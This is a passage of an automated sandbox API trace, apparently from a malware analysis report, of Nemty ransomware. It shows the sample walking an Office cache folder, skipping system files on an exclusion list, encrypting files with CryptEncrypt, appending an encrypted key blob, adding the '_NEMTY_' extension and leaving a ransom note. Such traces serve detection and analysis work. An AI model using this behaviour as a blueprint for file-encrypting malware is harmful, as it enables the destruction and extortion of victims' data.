lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0048.331] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0048.331] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0048.331] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94198 [0048.331] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0048.331] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94198 | out: hHeap=0x4f90000) returned 1 [0048.331] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0048.331] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml._NEMTY_kGOBjgD_" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml._nemty_kgobjgd_")) returned 1 [0048.332] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0048.332] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0048.332] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0048.332] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0048.332] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0048.332] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0048.332] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.332] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94380 | out: hHeap=0x4f90000) returned 1 [0048.332] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x36db9d00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x36db9d00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf5e95540, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10a5df8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="OnoteLR.cab", cAlternateFileName="")) returned 1 [0048.332] lstrcmpiW (lpString1="OnoteLR.cab", lpString2=".") returned 1 [0048.332] lstrcmpiW (lpString1="OnoteLR.cab", lpString2="..") returned 1 [0048.332] lstrcmpiW (lpString1="OnoteLR.cab", lpString2="...") returned 1 [0048.332] lstrcmpiW (lpString1="OnoteLR.cab", lpString2="windows") returned -1 [0048.332] lstrcmpiW (lpString1="OnoteLR.cab", lpString2="$RECYCLE.BIN") returned 1 [0048.332] lstrcmpiW (lpString1="OnoteLR.cab", lpString2="rsa") returned -1 [0048.332] lstrcmpiW (lpString1="OnoteLR.cab", lpString2="NTDETECT.COM") returned 1 [0048.332] lstrcmpiW (lpString1="OnoteLR.cab", lpString2="ntldr") returned 1 [0048.332] lstrcmpiW (lpString1="OnoteLR.cab", lpString2="MSDOS.SYS") returned 1 [0048.332] lstrcmpiW (lpString1="OnoteLR.cab", lpString2="IO.SYS") returned 1 [0048.332] lstrcmpiW (lpString1="OnoteLR.cab", lpString2="boot.ini") returned 1 [0048.332] lstrcmpiW (lpString1="OnoteLR.cab", lpString2="boot.ini") returned 1 [0048.332] lstrcmpiW (lpString1="OnoteLR.cab", lpString2="AUTOEXEC.BAT") returned 1 [0048.333] lstrcmpiW (lpString1="OnoteLR.cab", lpString2="ntuser.dat") returned 1 [0048.333] lstrcmpiW (lpString1="OnoteLR.cab", lpString2="desktop.ini") returned 1 [0048.333] lstrcmpiW (lpString1="OnoteLR.cab", lpString2="CONFIG.SYS") returned 1 [0048.333] lstrcmpiW (lpString1="OnoteLR.cab", lpString2="RECYCLER") returned -1 [0048.333] lstrcmpiW (lpString1="OnoteLR.cab", lpString2="BOOTSECT.BAK") returned 1 [0048.333] lstrcmpiW (lpString1="OnoteLR.cab", lpString2="bootmgr") returned 1 [0048.333] lstrcmpiW (lpString1="OnoteLR.cab", lpString2="programdata") returned -1 [0048.333] lstrcmpiW (lpString1="OnoteLR.cab", lpString2="appdata") returned 1 [0048.333] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.333] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OnoteLR.cab", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0048.333] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OnoteLR.cab", cchWideChar=11, lpMultiByteStr=0x653f250, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OnoteLR.cab", lpUsedDefaultChar=0x0) returned 11 [0048.333] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0048.333] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OnoteLR.cab", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0048.333] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OnoteLR.cab", cchWideChar=11, lpMultiByteStr=0x653f250, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OnoteLR.cab", lpUsedDefaultChar=0x0) returned 11 [0048.333] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0048.333] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.333] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.333] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OnoteLR.cab", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0048.333] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OnoteLR.cab", cchWideChar=11, lpMultiByteStr=0x653f2a0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OnoteLR.cab", lpUsedDefaultChar=0x0) returned 11 [0048.333] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.333] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.333] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OnoteLR.cab", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0048.333] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OnoteLR.cab", cchWideChar=11, lpMultiByteStr=0x653f2d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OnoteLR.cab", lpUsedDefaultChar=0x0) returned 11 [0048.333] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.333] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94380 [0048.333] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942d8 | out: hHeap=0x4f90000) returned 1 [0048.333] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7c4, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0048.333] lstrcmpiW (lpString1="Setup.xml", lpString2=".") returned 1 [0048.333] lstrcmpiW (lpString1="Setup.xml", lpString2="..") returned 1 [0048.333] lstrcmpiW (lpString1="Setup.xml", lpString2="...") returned 1 [0048.333] lstrcmpiW (lpString1="Setup.xml", lpString2="windows") returned -1 [0048.333] lstrcmpiW (lpString1="Setup.xml", lpString2="$RECYCLE.BIN") returned 1 [0048.334] lstrcmpiW (lpString1="Setup.xml", lpString2="rsa") returned 1 [0048.334] lstrcmpiW (lpString1="Setup.xml", lpString2="NTDETECT.COM") returned 1 [0048.334] lstrcmpiW (lpString1="Setup.xml", lpString2="ntldr") returned 1 [0048.334] lstrcmpiW (lpString1="Setup.xml", lpString2="MSDOS.SYS") returned 1 [0048.334] lstrcmpiW (lpString1="Setup.xml", lpString2="IO.SYS") returned 1 [0048.334] lstrcmpiW (lpString1="Setup.xml", lpString2="boot.ini") returned 1 [0048.334] lstrcmpiW (lpString1="Setup.xml", lpString2="boot.ini") returned 1 [0048.334] lstrcmpiW (lpString1="Setup.xml", lpString2="AUTOEXEC.BAT") returned 1 [0048.334] lstrcmpiW (lpString1="Setup.xml", lpString2="ntuser.dat") returned 1 [0048.334] lstrcmpiW (lpString1="Setup.xml", lpString2="desktop.ini") returned 1 [0048.334] lstrcmpiW (lpString1="Setup.xml", lpString2="CONFIG.SYS") returned 1 [0048.334] lstrcmpiW (lpString1="Setup.xml", lpString2="RECYCLER") returned 1 [0048.334] lstrcmpiW (lpString1="Setup.xml", lpString2="BOOTSECT.BAK") returned 1 [0048.334] lstrcmpiW (lpString1="Setup.xml", lpString2="bootmgr") returned 1 [0048.334] lstrcmpiW (lpString1="Setup.xml", lpString2="programdata") returned 1 [0048.334] lstrcmpiW (lpString1="Setup.xml", lpString2="appdata") returned 1 [0048.334] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.334] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0048.334] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x653f250, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Setup.xml", lpUsedDefaultChar=0x0) returned 9 [0048.334] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0048.334] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0048.334] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x653f250, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Setup.xml", lpUsedDefaultChar=0x0) returned 9 [0048.334] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0048.334] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.334] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.334] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0048.334] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x653f2a0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Setup.xml", lpUsedDefaultChar=0x0) returned 9 [0048.334] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.334] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.334] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0048.334] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x653f2d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Setup.xml", lpUsedDefaultChar=0x0) returned 9 [0048.334] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.335] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94198 [0048.335] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94380 | out: hHeap=0x4f90000) returned 1 [0048.335] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94240 [0048.335] Sleep (dwMilliseconds=0x5) [0048.342] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xd0845210, dwHighDateTime=0x1d561e7)) [0048.342] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xd0845210, dwHighDateTime=0x1d561e7)) [0048.342] GetLastError () returned 0x0 [0048.342] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0048.343] GetLastError () returned 0x0 [0048.343] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.343] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0048.343] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0048.343] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0048.343] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0048.343] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0048.343] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0048.343] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ef9c | out: pszString="b+Kpwm1ksaQKOsIu1fERPJNe6M+EQFHZCNdFAPRQMJgO210bQA64HjUk+xE/CxqB\r\nEo//54b0JDciTp3ysrpRjZ8wMlIRmWcoefM8y6Wf9sfLinnB5Dws2W3L8zPDVpEB\r\nRC8/K1CY8Mj+UXgDR3mHBNHH4FmVGK0MZQ1aBAdVrrw6ZYyTlmeueGP7VctDnm4z\r\n2r5UAs6Km4G/7rlOgABVSYC0wbvgCxws+mlEoPy7cicOWsti4z9knTqevUtkHnF0\r\nWtBcV7O/xKrbhdR3544CdB1rQYmONqkErc6SilsWspBRTFIA41t8cBb2Rjf6VQPz\r\nv6nUOj36/h2ileiLzmVBoQ==\r\n", pcchString=0x653ef9c) returned 1 [0048.343] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63401b8 [0048.343] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0048.343] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0048.343] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0048.343] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0048.343] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340330 [0048.343] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c8 [0048.343] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=1988) returned 1 [0048.343] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x7c0) returned 0x6346d48 [0048.343] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0048.344] ReadFile (in: hFile=0x3c8, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x7c0, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesRead=0x653f1e4*=0x7c0, lpOverlapped=0x0) returned 1 [0048.345] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0048.346] WriteFile (in: hFile=0x3c8, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0x7c0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f1dc*=0x7c0, lpOverlapped=0x0) returned 1 [0048.346] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0048.346] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=1988, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7c4 [0048.346] WriteFile (in: hFile=0x3c8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653f1dc*=0x167, lpOverlapped=0x0) returned 1 [0048.346] CloseHandle (hObject=0x3c8) returned 1 [0048.346] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63404a8 [0048.347] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0048.347] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0048.347] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed80, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0048.347] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0048.347] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0048.347] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f942e8 [0048.347] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0048.347] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942e8 | out: hHeap=0x4f90000) returned 1 [0048.347] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0048.347] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml._NEMTY_kGOBjgD_" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml._nemty_kgobjgd_")) returned 1 [0048.347] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0048.347] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0048.347] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0048.347] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0048.348] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0048.348] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0048.348] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.348] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94240 | out: hHeap=0x4f90000) returned 1 [0048.348] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd0714710, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xd0714710, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xd0714710, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0048.348] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0048.348] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0048.348] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0048.348] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0048.348] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0048.348] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0048.348] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0048.348] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0048.348] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0048.348] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0048.348] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0048.348] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0048.348] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0048.348] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0048.348] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0048.348] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0048.348] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0048.348] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0048.348] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0048.348] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0048.348] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0048.348] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0048.348] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0048.348] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.348] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0048.348] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.348] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0048.348] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0048.349] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.349] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0048.349] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 